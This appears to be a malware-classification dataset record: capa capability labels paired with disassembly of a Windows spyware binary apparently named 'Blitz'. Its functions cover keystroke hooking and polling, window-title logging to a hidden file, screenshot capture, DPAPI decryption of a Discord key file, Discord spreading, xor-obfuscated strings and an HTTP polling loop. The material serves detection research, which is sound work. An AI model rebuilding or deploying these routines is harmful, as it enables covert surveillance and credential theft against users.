joyce8/EMBER2024-capa huggingface dataset:
Function at 0x6ff8ecc0
Capabilities:
Encode data using xor

Disassembly:
movabs rax, 0x15040f080f081661
push r14
push r13
push r12
push rbp
push rdi
mov rdi, rcx
push rsi
push rbx
sub rsp, 0x50
mov byte [rsp + 0x47], 0
lea rdx, [rsp + 0x46]
mov dword [rsp + 0x43], 0xd0d054f
mov qword [rsp + 0x3b], rax
lea rax, [rsp + 0x3b]
mov rbx, rax
xor byte [rax + 1], 0x61
inc rax
cmp rax, rdx
jne 0x6ff8ecfa
lea r13, [rsp + 0x3c]
mov byte [rsp + 0x47], 0
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r12, rax
test rax, rax
je 0x6ff8eec2
mov byte [rsp + 0x49], 0
lea rdx, [rsp + 0x48]
movabs rax, 0x5d564a5d4c567138
mov dword [rsp + 0x43], 0x5d48774c
mov word [rsp + 0x47], 0x7956
mov qword [rsp + 0x3b], rax
mov rax, rbx
xor byte [rax + 1], 0x38
inc rax
cmp rax, rdx
jne 0x6ff8ed50
mov rdx, r13
mov byte [rsp + 0x49], 0
mov rsi, qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, r12
call rsi
mov byte [rsp + 0x4c], 0
lea rdx, [rsp + 0x4b]
mov r14, rax
mov byte [rsp + 0x4b], 0x55
movabs rax, 0x717a6671607a5d14
mov qword [rsp + 0x3b], rax
movabs rax, 0x7866417a71645b60
mov qword [rsp + 0x43], rax
mov rax, rbx
xor byte [rax + 1], 0x14
inc rax
cmp rax, rdx
jne 0x6ff8eda3
mov rdx, r13
mov byte [rsp + 0x4c], 0
mov rcx, r12
call rsi
mov byte [rsp + 0x4f], 0
lea rdx, [rsp + 0x4e]
mov rbp, rax
mov dword [rsp + 0x4b], 0x7079717b
movabs rax, 0x707b6770617b5c15
mov qword [rsp + 0x3b], rax
movabs rax, 0x745d70667a795661
mov qword [rsp + 0x43], rax
mov rax, rbx
xor byte [rax + 1], 0x15
inc rax
cmp rdx, rax
jne 0x6ff8edf2
mov rdx, r13
mov byte [rsp + 0x4f], 0
mov rcx, r12
call rsi
test r14, r14
sete dl
test rbp, rbp
mov rsi, rax
sete al
or dl, al
jne 0x6ff8eeb9
test rsi, rsi
je 0x6ff8eeb9
mov byte [rsp + 0x44], 0
lea rdx, [rsp + 0x43]
movabs rax, 0x6c736d1216160a42
mov byte [rsp + 0x43], 0x73
mov qword [rsp + 0x3b], rax
mov rax, rbx
xor byte [rax + 1], 0x42
inc rax
cmp rax, rdx
jne 0x6ff8ee4c
mov rcx, r13
mov byte [rsp + 0x44], 0
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 0
mov edx, 1
xor ebx, ebx
call r14
mov r13, rax
test rax, rax
je 0x6ff8eeb9
cmp dword [rdi + 0x800], ebx
jle 0x6ff8eeb4
mov rcx, r13
xor r9d, r9d
xor r8d, r8d
mov rdx, rdi
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x80000000
call rbp
mov rcx, rax
test rax, rax
je 0x6ff8eeb4
call rsi
inc ebx
jmp 0x6ff8ee80
mov rcx, r13
call rsi
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret

Function at 0x6ff8eef0
Capabilities:
Check mutex on windows
Encode data using xor

Disassembly:
movabs rax, 0x1833070914113f7d
sub rsp, 0x48
mov byte [rsp + 0x3f], 0
lea rdx, [rsp + 0x3e]
mov qword [rsp + 0x2f], rax
movabs rax, 0x9131814113e5009
mov qword [rsp + 0x37], rax
lea rax, [rsp + 0x2f]
xor byte [rax + 1], 0x7d
inc rax
cmp rax, rdx
jne 0x6ff8ef21
xor ecx, ecx
mov byte [rsp + 0x3f], 0
lea r8, [rsp + 0x30]
mov edx, 1
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov qword [sym.main.exe_hBlitzMutex], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x6ff8ef5d
call fcn.6ff8ef70
add rsp, 0x48
ret
Function at 0x6ff8fa40
Capabilities:
Encode data using base64

Disassembly:
push r14
xor eax, eax
push r13
push r12
push rbp
push rdi
push rsi
push rbx
mov rbx, rcx
or rcx, 0xffffffffffffffff
mov rdi, rbx
sub rsp, 0x20
repne scasb al, byte [rdi]
mov rax, rcx
mov ecx, 3
not rax
dec rax
mov esi, eax
shl eax, 2
cdq
idiv ecx
add eax, 4
movsxd rcx, eax
call sub.msvcrt.dll_malloc
mov r10, rax
test rax, rax
je 0x6ff8fb8f
xor edi, edi
xor r9d, r9d
xor ecx, ecx
xor r8d, r8d
mov r12d, 3
mov r13d, 2
lea rbp, str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_
movsxd r11, r9d
add r11, r10
cmp edi, esi
jge 0x6ff8fb2c
mov eax, edi
mov ecx, r13d
cdq
idiv r12d
movzx eax, byte [rbx + rdi]
sub ecx, edx
shl ecx, 3
shl eax, cl
add r8d, eax
cmp ecx, 0x10
jne 0x6ff8fad7
mov eax, r8d
inc r9d
shr eax, 0x12
jmp 0x6ff8fb1a
cmp ecx, 8
je 0x6ff8fb11
test ecx, ecx
jne 0x6ff8fb24
cmp edi, 3
je 0x6ff8fb24
mov edx, r8d
and r8d, 0x3f
lea eax, [r9 + 1]
add r9d, 2
shr edx, 6
cdqe
and edx, 0x3f
mov dl, byte [rbp + rdx]
mov byte [r11], dl
mov dl, byte [rbp + r8]
xor r8d, r8d
mov byte [r10 + rax], dl
jmp 0x6ff8fb24
mov eax, r8d
inc r9d
shr eax, 0xc
and eax, 0x3f
mov al, byte [rbp + rax]
mov byte [r11], al
inc rdi
jmp 0x6ff8faa6
cmp ecx, 0x10
jne 0x6ff8fb5d
shr r8d, 0xc
lea rax, str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_
lea edx, [r9 + 1]
and r8d, 0x3f
movsxd rdx, edx
mov al, byte [rax + r8]
mov byte [r11], al
lea eax, [r9 + 2]
add r9d, 3
mov byte [r10 + rdx], 0x3d
jmp 0x6ff8fb80
cmp ecx, 8
jne 0x6ff8fb87
shr r8d, 6
lea rdx, str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_
lea eax, [r9 + 1]
add r9d, 2
and r8d, 0x3f
mov dl, byte [rdx + r8]
mov byte [r11], dl
cdqe
mov byte [r10 + rax], 0x3d
movsxd rax, r9d
mov byte [r10 + rax], 0
add rsp, 0x20
mov rax, r10
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret
Function at 0x6ff8fe70
Capabilities:
Create process on windows
Log keystrokes via polling
Terminate process

Disassembly:
push r12
xor ecx, ecx
mov r8d, 0x104
push rdi
push rbx
sub rsp, 0x1e0
lea r12, [rsp + 0xdc]
mov rdx, r12
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rdx, [rsp + 0x70]
xor eax, eax
xor r9d, r9d
lea r8, [rsp + 0x58]
mov rdi, rdx
mov ecx, 0x1a
rep stosd dword [rdi], eax
mov rdi, r8
mov ecx, 6
mov dword [rsp + 0x70], 0x68
rep stosd dword [rdi], eax
mov qword [rsp + 0x48], r8
xor r8d, r8d
mov qword [rsp + 0x40], rdx
mov rdx, r12
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x6ff8ff10
mov rcx, qword [rsp + 0x58]
mov rbx, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rbx
mov rcx, qword [rsp + 0x60]
call rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x6ff915f0
Capabilities:
Encode data using xor
Get file attributes
Get graphical window text
Set file attributes
Write file on windows

Disassembly:
push r14
xor r9d, r9d
mov r8d, 3
mov edx, 4
push r13
mov r13, rcx
lea rcx, [sym.main.exe_blz_logfile]
push r12
push rdi
push rsi
push rbx
sub rsp, 0xd68
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 4
call qword [sym.imp.KERNEL32.dll_CreateFileA]
cmp rax, 0xffffffffffffffff
je 0x6ff917db
mov r12, rax
lea rcx, [sym.main.exe_blz_logfile]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
test al, 2
jne 0x6ff91667
or eax, 2
lea rcx, [sym.main.exe_blz_logfile]
mov edx, eax
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
call qword [sym.imp.USER32.dll_GetForegroundWindow]
mov rcx, rax
test rax, rax
je 0x6ff917a3
lea r14, [rsp + 0x160]
mov r8d, 0x400
mov rdx, r14
call qword [sym.imp.USER32.dll_GetWindowTextA]
mov rdx, r14
lea rcx, [sym.main.exe_blz_curr_program]
call sub.msvcrt.dll_strcpy
lea rdx, [sym.main.exe_blz_prev_program]
lea rcx, [sym.main.exe_blz_curr_program]
call sub.msvcrt.dll_strcmp
test eax, eax
je 0x6ff917a3
lea rdx, [sym.main.exe_blz_curr_program]
lea rcx, [sym.main.exe_blz_prev_program]
call sub.msvcrt.dll_strcpy
xor ecx, ecx
lea rbx, [rsp + 0x60]
call qword [sym.imp.msvcrt.dll__time64]
lea rcx, [rsp + 0x48]
mov qword [rsp + 0x48], rax
call qword [sym.imp.msvcrt.dll__localtime64]
mov edx, 0x100
lea r8, [rsp + 0x561]
mov rcx, rbx
mov dword [rsp + 0x560], 0x63256c
mov r9, rax
call sub.msvcrt.dll_strftime
mov byte [rsp + 0x5f], 0
lea rdx, [rsp + 0x5e]
movabs rax, 0x433e104638696963
mov dword [rsp + 0x58], 0x4638434e
mov word [rsp + 0x5c], 0x3e10
mov byte [rsp + 0x5e], 0x69
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x50]
mov rsi, rax
xor byte [rax + 1], 0x63
inc rax
cmp rax, rdx
jne 0x6ff91742
mov qword [rsp + 0x20], rbx
lea r8, [rsp + 0x51]
mov edx, 0x800
lea r14, [rsp + 0x560]
lea r9, [sym.main.exe_blz_curr_program]
mov rcx, r14
mov byte [rsp + 0x5f], 0
mov rdi, r14
call sym.main.exe_snprintf_char__unsigned_long_long__char_const__::_
or rcx, 0xffffffffffffffff
xor eax, eax
mov r9, rsi
repne scasb al, byte [rdi]
mov rdx, r14
mov qword [rsp + 0x20], 0
not rcx
lea r8d, [rcx - 1]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_WriteFile]
xor eax, eax
or rcx, 0xffffffffffffffff
mov rdi, r13
mov rdx, r13
repne scasb al, byte [rdi]
lea r9, [rsp + 0x560]
mov qword [rsp + 0x20], 0
not rcx
lea r8d, [rcx - 1]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rsp, 0xd68
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
ret
Function at 0x6ff91840
Capabilities:
Capture screenshot
Write file on windows

Disassembly:
push r15
push r14
push r13
mov r13, rcx
xor ecx, ecx
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0xc8
mov rsi, qword [sym.imp.USER32.dll_GetSystemMetrics]
call rsi
mov ecx, 1
mov ebx, eax
call rsi
xor ecx, ecx
mov esi, eax
call qword [sym.imp.USER32.dll_GetDC]
mov r14, rax
mov rcx, rax
call qword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov r8d, esi
mov edx, ebx
mov rcx, r14
mov r12, rax
call qword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
mov rcx, r12
mov rdx, rax
mov r15, rax
mov rax, qword [sym.imp.GDI32.dll_SelectObject]
mov qword [rsp + 0x60], rax
call rax
xor r8d, r8d
xor edx, edx
mov r9d, ebx
mov rcx, r12
mov qword [rsp + 0x68], rax
mov dword [rsp + 0x40], 0xcc0020
mov dword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], esi
call qword [sym.imp.GDI32.dll_BitBlt]
mov eax, esi
xor r9d, r9d
xor r8d, r8d
neg eax
mov rcx, r13
mov dword [rsp + 0x98], 0x28
mov edx, 0x40000000
mov dword [rsp + 0x9c], ebx
mov dword [rsp + 0xa0], eax
mov qword [rsp + 0xa4], 0x180001
mov qword [rsp + 0xac], 0
mov qword [rsp + 0xb4], 0
mov dword [rsp + 0xbc], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileA]
cmp rax, 0xffffffffffffffff
je 0x6ff91aae
imul ebx, esi
mov r13, rax
lea rdi, [rsp + 0x84]
mov rbp, qword [sym.imp.KERNEL32.dll_WriteFile]
lea rdx, [rsp + 0x8a]
mov r9, rdi
mov r8d, 0xe
mov rcx, r13
mov word [rsp + 0x8a], 0x4d42
mov qword [rsp + 0x20], 0
lea eax, [rbx + rbx*2]
lea rbx, [rsp + 0x98]
mov dword [rsp + 0x58], eax
add eax, 0x36
mov dword [rsp + 0x8c], eax
mov eax, 0x1b
shl rax, 0x21
mov qword [rsp + 0x90], rax
call rbp
mov r9, rdi
mov r8d, 0x28
mov rdx, rbx
mov qword [rsp + 0x20], 0
mov rcx, r13
call rbp
mov r10, qword [sym.imp.GDI32.dll_GetDIBits]
mov r9d, esi
xor r8d, r8d
mov rdx, r15
mov rcx, r12
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x78], r10
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x20], 0
call r10
mov ecx, dword [rsp + 0x58]
call sub.msvcrt.dll_malloc
mov r10, qword [rsp + 0x78]
mov r9d, esi
xor r8d, r8d
mov rdx, r15
mov rcx, r12
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x70], rax
call r10
mov r11, qword [rsp + 0x70]
mov r8d, dword [rsp + 0x58]
mov r9, rdi
mov qword [rsp + 0x20], 0
mov rcx, r13
mov rdx, r11
mov qword [rsp + 0x58], r11
call rbp
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r11, qword [rsp + 0x58]
mov rcx, r11
call fcn.6ff8e408
mov rdx, qword [rsp + 0x68]
mov rcx, r12
mov rax, qword [rsp + 0x60]
call rax
mov rcx, r15
call qword [sym.imp.GDI32.dll_DeleteObject]
mov rcx, r12
call qword [sym.imp.GDI32.dll_DeleteDC]
mov rdx, r14
xor ecx, ecx
call qword [sym.imp.USER32.dll_ReleaseDC]
add rsp, 0xc8
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x6ff93640
Capabilities:
Encode data using xor

Disassembly:
movabs rax, 0x2c28212a3b363d7a
push r12
push rbx
sub rsp, 0x58
mov byte [rsp + 0x4f], 0
lea rdx, [rsp + 0x4e]
mov dword [rsp + 0x48], 0x33073c3d
mov word [rsp + 0x4c], 0x213d
mov byte [rsp + 0x4e], 0x7a
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x3f]
xor byte [rax + 1], 0x58
inc rax
cmp rdx, rax
jne 0x6ff93679
lea rdx, [rsp + 0x40]
mov byte [rsp + 0x4f], 0
call sub.msvcrt.dll_strstr
mov r9, rax
test rax, rax
je 0x6ff93729
mov edx, 0x3a
mov rcx, rax
call sub.msvcrt.dll_strchr
mov r9, rax
test rax, rax
je 0x6ff93729
mov edx, 0x800013
lea rbx, [rax + 1]
shl rdx, 9
mov al, byte [rbx]
cmp al, 0x20
jbe 0x6ff936d1
xor r9d, r9d
cmp al, 0x22
je 0x6ff936dc
jmp 0x6ff93729
bt rdx, rax
jae 0x6ff93726
inc rbx
jmp 0x6ff936c2
lea r12, [rbx + 1]
mov edx, 0x22
mov rcx, r12
call sub.msvcrt.dll_strchr
mov r9, rax
test rax, rax
je 0x6ff93729
sub r9, rbx
lea r8, [r9 - 1]
mov rcx, r9
mov rbx, r9
mov qword [rsp + 0x28], r8
call sub.msvcrt.dll_malloc
mov r8, qword [rsp + 0x28]
mov rdx, r12
mov rcx, rax
call sub.msvcrt.dll_strncpy
mov byte [rax + rbx - 1], 0
mov r9, rax
jmp 0x6ff93729
xor r9d, r9d
add rsp, 0x58
mov rax, r9
pop rbx
pop r12
ret

Function at 0x6ff93740
Capabilities:
Encode data using xor

Disassembly:
movabs rax, 0x293f222e3e24294d
push r12
push rbx
sub rsp, 0x38
mov byte [rsp + 0x2f], 0
lea rdx, [rsp + 0x2e]
mov dword [rsp + 0x29], 0x2c232c2e
mov word [rsp + 0x2d], 0x343f
mov qword [rsp + 0x21], rax
lea rax, [rsp + 0x21]
mov rbx, rax
xor byte [rax + 1], 0x4d
inc rax
cmp rax, rdx
jne 0x6ff93777
lea r12, [rsp + 0x22]
mov byte [rsp + 0x2f], 0
mov rcx, r12
call sym.main.exe_discord_spread_char_const_
mov byte [rsp + 0x2c], 0
lea rdx, [rsp + 0x2b]
movabs rax, 0x56405d51415b5632
mov word [rsp + 0x29], 0x4642
mov byte [rsp + 0x2b], 0x50
mov qword [rsp + 0x21], rax
mov rax, rbx
xor byte [rax + 1], 0x32
inc rax
cmp rax, rdx
jne 0x6ff937bd
mov rcx, r12
mov byte [rsp + 0x2c], 0
call sym.main.exe_discord_spread_char_const_
mov byte [rsp + 0x29], 0
lea rdx, [rsp + 0x28]
movabs rax, 0x392f323e2e34395d
mov qword [rsp + 0x21], rax
mov rax, rbx
xor byte [rax + 1], 0x5d
inc rax
cmp rax, rdx
jne 0x6ff937f2
mov rcx, r12
mov byte [rsp + 0x29], 0
call sym.main.exe_discord_spread_char_const_
mov byte [rsp + 0x2b], 0
lea rdx, [rsp + 0x2a]
movabs rax, 0x4b47504c434d4824
mov word [rsp + 0x29], 0x4056
mov qword [rsp + 0x21], rax
mov rax, rbx
xor byte [rax + 1], 0x24
inc rax
cmp rax, rdx
jne 0x6ff9382e
mov rcx, r12
mov byte [rsp + 0x2b], 0
call sym.main.exe_discord_spread_char_const_
add rsp, 0x38
pop rbx
pop r12
ret
Function at 0x6ff93850
Capabilities:
Encode data using xor

Disassembly:
push r14
push r13
push r12
movabs r12, 0x1b4e4e4c5f414536
push rbp
movabs rbp, 0x1c4a401b1d0e1b1c
push rdi
movabs rdi, 0xa1d301b0a08406f
push rsi
mov rsi, rcx
push rbx
sub rsp, 0x150
mov byte [rsp + 0x45], 0
lea rax, [rsp + 0x35]
lea rdx, [rsp + 0x44]
mov qword [rsp + 0x35], rdi
mov rbx, rax
mov qword [rsp + 0x3d], rbp
xor byte [rax + 1], 0x6f
inc rax
cmp rax, rdx
jne 0x6ff9389e
lea r14, [rsp + 0x36]
lea r13, [rsp + 0x50]
mov r8, rsi
mov byte [rsp + 0x45], 0
mov rdx, r14
mov rcx, r13
call sym.main.exe_sprintf_char__char_const__::_
mov byte [rsp + 0x4f], 0
lea rdx, [rsp + 0x4e]
movabs rax, 0x53581b4c425f5a54
mov qword [rsp + 0x35], r12
mov word [rsp + 0x4d], 0x5355
mov qword [rsp + 0x3d], rax
movabs rax, 0x57464518505e1842
mov qword [rsp + 0x45], rax
mov rax, rbx
xor byte [rax + 1], 0x36
inc rax
cmp rax, rdx
jne 0x6ff938fe
mov rdx, r13
lea r8, [rsp + 0x28]
mov rcx, r14
mov byte [rsp + 0x4f], 0
call sym.main.exe_http_get_request_char_const__char_const__char_
mov r13, qword [rsp + 0x28]
test r13, r13
je 0x6ff93968
mov byte [rsp + 0x3a], 0
mov rax, rbx
lea rdx, [rsp + 0x39]
mov dword [rsp + 0x35], 0x3d3a3c48
mov byte [rsp + 0x39], 0x2d
xor byte [rax + 1], 0x48
inc rax
cmp rax, rdx
jne 0x6ff93943
mov rdx, r14
mov rcx, r13
mov byte [rsp + 0x3a], 0
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x6ff93968
call sym.main.exe_blitz_restart__
mov rcx, r13
call sym.main.exe_http_free_char_
mov ecx, 0x3a98
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x6ff93882
Function at 0x6ff93980
Capabilities:
Encode data using xor
Encrypt data using dpapi
Get file size
Query environment variable
Read file on windows

Disassembly:
push rbp
mov rbp, rsp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x488
mov qword [rbp + 0x18], rdx
call sub.msvcrt.dll_getenv
mov byte [rbp - 0x446], 0
lea rcx, [rbp - 0x458]
mov r9, qword [rbp + 0x18]
mov word [rbp - 0x448], 0x3e2f
mov r8, rax
mov rbx, rcx
movabs rax, 0x1707287e07287e5b
mov qword [rbp - 0x458], rax
movabs rax, 0x3a2f087b373a3834
mov qword [rbp - 0x450], rax
lea rax, [rbp - 0x447]
xor byte [rcx + 1], 0x5b
inc rcx
cmp rcx, rax
jne 0x6ff939e9
lea r12, [rbp - 0x440]
lea rdx, [rbp - 0x457]
mov byte [rbp - 0x446], 0
mov rcx, r12
call sym.main.exe_sprintf_char__char_const__::_
mov rcx, r12
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x28], pe_nt_image_headers64
mov edx, 0x80000000
xor r12d, r12d
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov r14, rax
cmp rax, 0xffffffffffffffff
je 0x6ff93b9d
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov r8d, eax
mov eax, eax
add rax, 0xf
shr rax, 4
shl rax, 4
call fcn.6ff82780
sub rsp, rax
lea r9, [rbp - 0x47c]
mov rcx, r14
mov qword [rsp + 0x20], 0
lea r15, [rsp + 0x40]
mov rdx, r15
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [rbp - 0x47c]
mov rcx, r15
mov byte [rsp + rax + 0x40], 0
call sym.main.exe_discord_extract_key_char_const_
mov rcx, rax
mov r14, rax
call sym.main.exe_base64_decode_char_const_
mov rdi, r14
or rcx, 0xffffffffffffffff
xor r9d, r9d
mov r15, rax
lea rax, [rax + 5]
xor edx, edx
mov r8, rbx
mov qword [rbp - 0x470], rax
xor eax, eax
repne scasb al, byte [rdi]
mov dword [rsp + 0x28], 0
mov qword [rbp - 0x450], 0
mov dword [rbp - 0x458], 0
mov qword [rsp + 0x20], 0
mov rax, rcx
lea rcx, [rbp - 0x478]
not rax
dec rax
mov dword [rbp - 0x478], eax
lea rax, [rbp - 0x468]
mov qword [rsp + 0x30], rax
call qword [sym.imp.CRYPT32.dll_CryptUnprotectData]
test eax, eax
je 0x6ff93b85
mov ebx, dword [rbp - 0x468]
lea rsi, str._02x
lea ecx, [rbx + 1]
call sub.msvcrt.dll_malloc
lea ecx, [rbx + rbx + 1]
xor ebx, ebx
mov r13, rax
call sub.msvcrt.dll_malloc
mov r12, rax
mov eax, dword [rbp - 0x468]
mov r8, qword [rbp - 0x460]
cmp ebx, eax
jae 0x6ff93b75
mov eax, ebx
lea ecx, [rbx + rbx]
mov rdx, rsi
inc ebx
movzx r8d, byte [r8 + rax]
add rcx, r12
call sym.main.exe_sprintf_char__char_const__::_
jmp 0x6ff93b4b
add eax, eax
mov rcx, r8
mov byte [r12 + rax], 0
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, r14
call sym.main.exe_base64_free_char_
mov rcx, r15
call fcn.6ff8e408
mov rcx, r13
call fcn.6ff8e408
lea rsp, [rbp - 0x38]
mov rax, r12
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
Function at 0x6ff93bc0
Capabilities:
Encode data using xor
Log keystrokes via application hook
Query environment variable

Disassembly:
push r13
mov r8d, 0x104
xor ecx, ecx
push r12
push rsi
push rbx
sub rsp, 0x278
lea r12, [rsp + 0x16c]
mov rdx, r12
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov edx, 0x5c
mov rcx, r12
call sub.msvcrt.dll_strrchr
mov byte [rsp + 0x37], 0
lea rdx, [rsp + 0x36]
mov dword [rsp + 0x32], 0x3038297d
lea r9, [rax + 1]
lea rax, [rsp + 0x32]
mov byte [rsp + 0x36], 0x2d
xor byte [rax + 1], 0x7d
inc rax
cmp rax, rdx
jne 0x6ff93c13
lea rcx, [rsp + 0x33]
mov qword [rsp + 0x28], r9
mov byte [rsp + 0x37], 0
call sub.msvcrt.dll_getenv
mov byte [rsp + 0x3e], 0
lea rdx, [rsp + 0x38]
mov r9, qword [rsp + 0x28]
mov dword [rsp + 0x38], 0x2a055376
mov r8, rax
mov rbx, rdx
lea rax, [rsp + 0x3d]
mov word [rsp + 0x3c], 0x553
xor byte [rdx + 1], 0x76
inc rdx
cmp rax, rdx
jne 0x6ff93c5c
lea r12, [rsp + 0x68]
lea r13, [rsp + 0x39]
mov byte [rsp + 0x3e], 0
mov rdx, r13
mov rcx, r12
call sym.main.exe_sprintf_char__char_const__::_
mov edx, 0x2e
mov rcx, r12
call sub.msvcrt.dll_strrchr
test rax, rax
je 0x6ff93cab
mov byte [rax + 1], 0
mov rdx, r13
mov rcx, r12
mov dword [rsp + 0x39], 0x676f6c
call sub.msvcrt.dll_strcat
mov rdx, r12
lea rcx, [sym.main.exe_blz_logfile]
call sub.msvcrt.dll_strcpy
xor r9d, r9d
xor r8d, r8d
mov ecx, 0xd
lea rdx, [sym.main.exe_blitz_kbd_proc_int__unsigned_long_long__long_long_]
call qword [sym.imp.USER32.dll_SetWindowsHookExA]
mov rsi, qword [sym.imp.USER32.dll_GetMessageA]
mov r13, qword [sym.imp.USER32.dll_DispatchMessageA]
mov r12, rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rbx
call rsi
test eax, eax
jle 0x6ff93d05
mov rcx, rbx
call qword [sym.imp.USER32.dll_TranslateMessage]
mov rcx, rbx
call r13
jmp 0x6ff93ce3
mov rcx, r12
call qword [sym.imp.USER32.dll_UnhookWindowsHookEx]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rsp, 0x278
pop rbx
pop rsi
pop r12
pop r13
ret
Function at 0x2fc4de5e0
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sym.__acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sym.fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sym.__acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call sym.vfprintf
call sym.abort
nop

Function at 0x2fc4defe2
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x2fc503108]
test eax, eax
je 0x2fc4df07a
lea rax, [0x2fc5030e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x2fc503110]
mov qword [rbp - 8], rax
jmp 0x2fc4df05e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x2fc4df052
cmp qword [rbp - 0x10], 0
je 0x2fc4df052
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x2fc4df018
lea rax, [0x2fc5030e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x2fc4df07b
nop
add rsp, 0x30
pop rbp
ret

Function at 0x2fc4df180
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x2fc4df1a8
mov eax, 0
jmp 0x2fc4df1f6
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x2fc4df1d1
mov eax, 0
jmp 0x2fc4df1f6
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x2fc4df1f1
mov eax, 0
jmp 0x2fc4df1f6
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x2fc4df1fc
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
